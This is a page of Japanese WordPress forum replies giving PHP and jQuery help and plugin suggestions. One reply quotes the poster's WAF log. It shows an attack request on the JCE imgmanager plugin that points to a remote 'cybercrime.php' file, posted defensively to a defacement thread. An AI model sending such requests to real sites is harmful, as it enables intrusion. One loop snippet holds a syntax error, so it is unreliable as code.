フォーラムへの返信

15件の返信を表示中 - 16 - 30件目 (全54件中)
  • フォーラム: 使い方全般
    返信が含まれるトピック: サイト改ざん?

    話がそれてしまって申し訳ないのですが、ちょっと気になったので念のため記載させて頂きます。

    私もロリポップを使っているのですが、以前からWebアプリケーションファイアウォールを有効にしていたためか幸いな事に現在までクラッキングの被害にはあっていません。

    で、今回のクラッキングとの因果関係があるかどうか不明なのですが、
    8月28日の時点でWAFに検知ログが記録されていたため、一部を変更して記載させて頂きます。
    前述した通り、関連性が全く不明なため、あくまで私の環境でこんなのありましたという報告ですみません。

    【ロリポップWAFのログ】

    日時:2013/08/28 00:09:43
    URL:[私のWPサイトのドメイン]/index.php?option=com_jce&task=plugin&plugin=imgmanager&file=imgmanager&version=1576&cid=20?src=http://xxxxxx.com.yyyyyyyyy.es/cybercrime.php
    アクセス元IP:178.33.178.xx

    日時:2013/08/28 00:37:01
    URL:[私のWPサイトのドメイン]/index.php?option=com_jce&task=plugin&plugin=imgmanager&file=imgmanager&version=1576&cid=20?src=http://xxxxxx.com.yyyyyyyyy.es/cybercrime.php
    アクセス元IP:195.228.156.xx

    ロリポップのWAFのログは7日分しか残らないため、以前にも同様のアクセスがあったかは不明です。
    私の環境では8月24日から8月27日までの間には何も記録されておらず、8月28日に上記のログだけ記録されている状況です。

    「plugin=imgmanager」というクエリがちょっと気になります。
    ロリポップには脆弱性があったというプラグイン名・テーマ名を教えてもらえると有り難いところですが。無理かな。

    にしてもcybercrime.phpって ^^;

    フォーラム: 使い方全般
    返信が含まれるトピック: input typeで作成したボタンから記事を投稿する機能

    確かにwp_insert_postを使えばWordPressに投稿する事が出来ます。

    ただ、PHPがある程度理解出来ないと、具体的にはwp_insert_postのcodexを読んで内容が理出来る程度でないとちょっと辛いと思います。

    とは言え、色々と事情もあると思うので簡単なサンプルコードを紹介します。
    テーマのテンプレートなどに組み込んで動作を確認して下さい。
    WordPress外のPHPファイルに組み込む場合は /wordpress/wp-blog-header.php を読み込む必要があります。

    <?php
      $action = 'like_a_salt.'; //salt的なやつ
    
      //クエリチェック
      if(isset($_POST['_wpnonce']) &&
         wp_verify_nonce($_POST['_wpnonce'], $action) &&
         isset($_POST['title']) &&
         isset($_POST['content'])
      ){
    
        //投稿設定
        $new_post = array(
                  'post_type' => 'post',
                  'post_status' => 'publish',
                  'post_author' => 1, //投稿者のユーザーID
                  'post_title' => $_POST['title'],
                  'post_content' => $_POST['content'],
                  'comment_status' => 'closed',
                  'ping_status' => 'closed'
                );
    
        //投稿処理
        $post_id = wp_insert_post($new_post);
    
        //結果
        if($post_id){
        	$result = '投稿に成功しました!';
        }else{
        	$result = 'エラー: なんか失敗しました!!!';
        }
    
      }
    ?>
    <html>
    <head></head>
    <body>
      <?php if(isset($result)) echo '<p>'.$result.'</p>'; ?>
      <form method="post" action="<?php the_permalink(); ?>">
        <p>
          <label for="title">タイトル:</label><br />
          <input name="title" type="text" value="" id="title">
        </p>
        <p>
          <label for="content">本文:</label><br />
          <textarea name="content" id="content"></textarea>
        </p>
        <?php wp_nonce_field($action); ?>
        <input type="submit" value="送信">
      </form>
    </body>
    </html>

    上記のコードの「投稿処理」の部分がwp_insert_postの記述になります。
    wp_insert_postに与える引数はcodexを参考に適時変更して下さい。
    wp_insert_postは投稿に成功すると投稿IDを返します。失敗した場合はfalse。

    また、wp_nonce_field()という関数はCSRF対策用のトークンを生成する関数で、標準では_wpnonceという名称のhiddenフィールドを生成します。
    このhiddenフィールドに自動生成されたパラメータをformのpost先で受け取って、wp_verify_nonce()関数で送信されたパラメータの整合性を確認します。

    各関数の詳細はCodexで確認してみて下さい。

    ・wp_insert_post
    http://wpdocs.sourceforge.jp/%E9%96%A2%E6%95%B0%E3%83%AA%E3%83%95%E3%82%A1%E3%83%AC%E3%83%B3%E3%82%B9/wp_insert_post
    ・wp_nonce_field
    http://wpdocs.sourceforge.jp/%E9%96%A2%E6%95%B0%E3%83%AA%E3%83%95%E3%82%A1%E3%83%AC%E3%83%B3%E3%82%B9/wp_nonce_field
    ・wp_verify_nonce
    http://wpdocs.sourceforge.jp/%E9%96%A2%E6%95%B0%E3%83%AA%E3%83%95%E3%82%A1%E3%83%AC%E3%83%B3%E3%82%B9/wp_verify_nonce

    何が原因でしょうね?
    単純に配列のカンマが抜けてるとかだったら解決が早いのですが。
    こちらの環境(WP 3.5.2)では以下のコードで普通に表示されたので、ちょっと試してみて下さい。

    <?php
    $args = array(
    	'post_type' => array('news','monitor','post'),
    	'orderby' => 'date',
    	'posts_per_page' => 100
    	);
    ?>
    <?php
    $custom_query = new WP_Query( $args );
    if ( $custom_query->have_posts() ):
    while ( $custom_query->have_posts() ) :	$custom_query->the_post();
    ?>
    
    	<p><?php the_time('Y-m-d H:i:s'); ?>: <?php the_title(); ?></p> 
    
    <?php endwhile; endif; ?>
    <?php wp_reset_query(); ?>

    カスタムループの書き方は日本語Codexを参照:関数リファレンス/wp reset query

    追記:
    よく見たらorderbyの引数指定がおかしいんじゃないですかね。
    orderbyの引数を’date’にしてみたらどうでしょう?
    参考:テンプレートタグ/query posts

    さらに追記:
    showposts引数も既に非推奨になってるので代わりに「posts_per_page」を使うようにした方が良いですね。

    フォーラム: 使い方全般
    返信が含まれるトピック: 画像クリックで表示・非表示の切替

    wp_deregister_script()でWordPressに同梱されているjQueryを無効化しているので、
    <script>タグ内でjQueryを使う場合は多分通常通り「$()」でいけると思います。

    <script>
    $(document).ready(function(){
    	$("#btn01").click(function(){
    		$("#contents2").hide();
    		$("#contents1").show();
    	})
    	$("#btn02").click(function(){
    		$("#contents1").hide();
    		$("#contents2").show();
    	})
    })
    </script>

    問題の切り分けには各ブラウザのデベロッパーツールに付属しているコンソールやDOMツリーを確認してみると良いかもしれません。Firefoxの場合はFirebugが便利です。

    今だと「PR:」が含まれない場合は即座に出力しているため、foreachのループを二つ使って(foreachじゃなくてforでもwhileでも良いのですが)HTMLの生成用と出力用の二つのループで対応するのが良いかもしれません。

    既存のforeachのループはHTMLの生成用として使うので、if文で囲まれた中身は以下のように配列変数にパラメータを代入する形に変更します。

    <?php if(!preg_match("/^PR:/",$article_title)): ?>
    <?php $output[] = '<dt>'. $blog_name .'<br /><a href="'. $article_url .'" target="_blank">'. $article_title .'</a></dt><dd>('. $article_date .')</dd>'; ?>
    <?php endif; ?>

    これで一先ず取得したRSSフィードの内、「PR:」が含まれていないもののHTMLコードの配列になるので、あとはこの配列を表示したい件数分だけ表示してやればOKです。
    配列の要素数分のループを回すのにはforeachが簡単なため、以下のような感じで出力用のループを作ります。

    <dl>
    //一個目のループ(HTML生成用)
    ...foreach ( $rss_items as $item ) : ?>
    ~
    <?php endforeach; ?>
    
    //以下新たに追加する二個目のループ(出力用)
    <?php
      $count   = 0;
      $maxview = 1;  //表示件数
    ?>
    <?php foreach( $output as $value ): ?>
      <?php if($count < $maxview); ?>
        <?php
          echo $value;
          $count++;
        ?>
      <?php else: ?>
        <?php break; ?>
      <?php endif; ?>
    <?php endforeach; ?>
    </dl>

    上記のコードで言うと$maxviewの値が表示件数に該当します。get_item_quantity()の値は大本のRSSフィードの取得数のようなので10や20といったパラメータにしておいた方が良いと思います。

    風邪でダウンしてて連絡遅れました。
    以下、冒頭のコードに条件式を追加してみました。

    <?php
    include_once(ABSPATH . WPINC . '/feed.php');
    $rss = fetch_feed(array(
    'http://feeds.feedburner.com/WebmasterCentral',
    //RSSフィード1
    
    'http://ja.wordpress.org/feed/'
    //RSSフィード2
    ));
    if (!is_wp_error( $rss ) ) :
        $rss->set_cache_duration(1800);
        $rss->init();
        $maxitems = $rss->get_item_quantity(10);
        $rss_items = $rss->get_items(0, $maxitems);
        date_default_timezone_set('Asia/Tokyo');
    endif;
    ?>
    <dl>
        <?php if ($maxitems == 0) echo '<dt>No items.</dt>';
        else
        foreach ( $rss_items as $item ) : ?>
          <?php
            $blog_name    = $item->get_feed()->get_title();
            $article_title = $item->get_title();
            $article_url   = $item->get_permalink();
            $article_date  = $item->get_date("Y-n-j H:i:s");
          ?>
          <?php if(!preg_match("/^PR:/",$article_title)): ?>
          <dt>
            <?php echo $blog_name; ?>
            <br />
            <a href='<?php echo $article_url; ?>' target="_blank"><?php echo $article_title; ?></a>
          </dt>
          <dd>(<?php echo $article_date; ?>)</dd>
          <?php endif; ?>
        <?php endforeach; ?>
    </dl>

    ところどころ変数に置き換えてますが、
    単に可読性を上げただけですのでそれ程意味はありません。
    条件式は、

    <?php if(!preg_match("/^PR:/",$article_title)): ?>
    ~
    <?php endif; ?>

    で囲まれた部分で、これはpreg_match()の戻り値がFALSEだった時、
    つまり記事のタイトルに「PR:」という文字列が含まれていない場合、
    if文で囲まれた中身、

    <dt>
    <?php echo $blog_name; ?>
    <br />
    <a href='<?php echo $article_url; ?>' target="_blank"><?php echo $article_title; ?></a>
    </dt>
    <dd>(<?php echo $article_date; ?>)</dd>

    を出力するようになってます。
    HTMLとごちゃ混ぜになってるのでちょっと分かりにくいかもしれませんが、考え方自体は単純です。

    以下の参考記事だと、PHPのpreg_match()で記事のタイトルに「PR:」が含まれるものを除外しているようです。

    http://www.bhnt.co.jp/blog/%E9%9B%91%E8%A8%98/wordpress%E3%80%80%E5%90%84%E3%82%A2%E3%83%A1%E3%83%96%E3%83%AD%E3%81%AE%E6%96%B0%E7%9D%80%E8%A8%98%E4%BA%8B%E3%82%92%E6%97%A5%E4%BB%98%E9%A0%86%E3%81%AB%E3%82%BD%E3%83%BC%E3%83%88pr%E8%A8%98/

    2010年の記事なのでアメブロのRSSの仕様が変わっている場合は対応できないかもしれませんが、foreachの部分に以下のような感じでタイトルの条件式を加えるとうまくいくかもしれません。

    <?php foreach ( $rss_items as $item ) : ?>
    <?php $blog_title = $item->get_feed()->get_title(); ?>
    <?php if(!preg_match("/^PR:/",$blog_title)): ?>
    <?php echo $blog_title; ?>
    <?php endif; ?>
    <?php endforeach; ?>

    ところでアメブロの広告記事って除去しても大丈夫でしょうか?
    利用規約を確認していないので、良くわかっていないのですが、
    公開する前に一度アメブロのRSSの利用規約?のようなものがあれば確認してみたほうが良いかと思います。

    Adminimizeというプラグインを使えば権限ごとに管理画面の各メニューの表示/非表示を切り替えられます。

    Adminimize
    http://wordpress.org/extend/plugins/adminimize/screenshots/

    フォーラム: プラグイン
    返信が含まれるトピック: Google Analyticsのプラグイン

    お気づきかもしれませんが良いニュースです。
    なんと喜ばしい事に作者のRonaldさんと、Troyさん、Benさんがプラグインをアップデートしてくれましたよ!!
    チェックしてみて下さい。
    http://wordpress.org/extend/plugins/google-analyticator/

    こんにちは。
    そんな都合の良いプラグインがあるんだろうかと検索したら、なんとありました!
    具体的な検証は行っていないため、カスタム投稿に対応しているかは不明ですが、
    (よく読んだらカスタム投稿も含まれているようです。)
    説明を読む限りでは、投稿をユーザーの権限ごとに時間で区切って制限することが出来るようです。

    ・Glue Labs Page/Post Creation Limits
    http://wordpress.org/extend/plugins/limit-post-creation/

    他にも似たようなプラグインもあったので、検証環境で試してみてください。

    ・Limit Daily Posts
    http://wordpress.org/extend/plugins/limit-daily-posts/

    フォーラム: 使い方全般
    返信が含まれるトピック: 投稿時にカテゴリー選択を必須にしたい

    こんにちは。

    以前、似たような質問に回答したので参考になるかもしれません。
    http://ja.forums.wordpress.org/topic/9090

    検証は行っていないのですが、今探したらプラグインがあったので、こちらのほうが導入は簡単そうです。

    ・Require Post Category
    http://wordpress.org/extend/plugins/require-post-category/

    ・Force Post Category Selection
    http://wordpress.org/extend/plugins/force-post-category-selection/

    フォーラム: プラグイン
    返信が含まれるトピック: Google Analyticsのプラグイン

    海外のフォーラムだと代替案として「MailChimp’s Analytics360」が提示されてますね。
    現段階だと最終更新が今年の五月なので正常に動作するのか不明ですが。

    参考:Google Analyticator – Dashboard widget no longer authenticates

    フォーラム: 使い方全般
    返信が含まれるトピック: jpg画像とgif画像が表示されません

    可能な範囲で構わないのでその「色々」という部分を具体化して書かれた方が的確な返事を得られやすいと思います。
    後はWordPressのバージョンやブラウザなどの環境、テーマに同梱されている画像が表示されないのか、メディアアップローダでアップした画像が表示されないのか等も書いてもらえると良いと思います。

    で、特定の画像が表示されないと言う事ですが、過去ログに画像関係の事例がありましたが参照されましたか?

    画像をアップロードしても画像が表示されない
    http://ja.forums.wordpress.org/topic/491

    相対パスでは画像は表示されないのでしょうか。
    http://ja.forums.wordpress.org/topic/6986

    画像をアップロードしても画像が表示されない(別事例)
    http://ja.forums.wordpress.org/topic/4567

    テーマによってトップページの画像が表示されない
    http://ja.forums.wordpress.org/topic/8405

    よくあるのは画像が相対パス指定になっていたり、ファイルのアップロード場所が何らかの要因によって変更されてしまっている等が多いようですが、中には.htaccessなどの設定に起因するものもあるようなので、既に確認済みであれば必要ありませんが、まずはhttp://から始まる画像ファイルの絶対パスをブラウザのアドレスフォームに直接入力するなどして、画像がきちんと表示されるか確認してみた方が良いと思います。

    フォーラム: 使い方全般
    返信が含まれるトピック: ビジュアルリッチエディターが表示されません

    brBrbrやPS Disable Auto Formattingなどのプラグインが関係しているのではないでしょうか?
    http://ja.forums.wordpress.org/topic/8909?replies=6
    http://ja.forums.wordpress.org/topic/8588?replies=6

    フォーラム: 使い方全般
    返信が含まれるトピック: テーマ設計について。

    MTの知識が無くて申し訳ないのですが、WordPressのマルチサイトだと、概念上の子サイトの情報を親サイトに表示したり、兄弟間で情報を引っ張ってきたりという操作が結構面倒くさいです。(もしかしたら便利なプラグインがあったりするかもしれませんが。)

    マルチサイトはネットワークによる横のつながりはあるものの、基本的にそれぞれのブログサイトは独立したものになっているため、例えばWordPress.com(http://ja.wordpress.com/)など何らかの会員ブログサイトやショッピングモールサイト(あまり事例を見かけませんが)などを構築する場合には適していると思いますが、ページごとの見た目を別々にしたいといった事であるなら、マルチサイトを使うメリットはほとんど無いと思います。テーマファイルも作り方によりますが、個別のテーマとして切り離さなくてもそこまで複雑なものにはならないと思います。

    WordPressを扱うのが初めてだとちょっと分かりにくいかもしれませんが、gatespaceさんが言っているように、こういう場合はカスタム投稿タイプとカスタムタクソノミーを使うのがベターかなと思います。

15件の返信を表示中 - 16 - 30件目 (全54件中)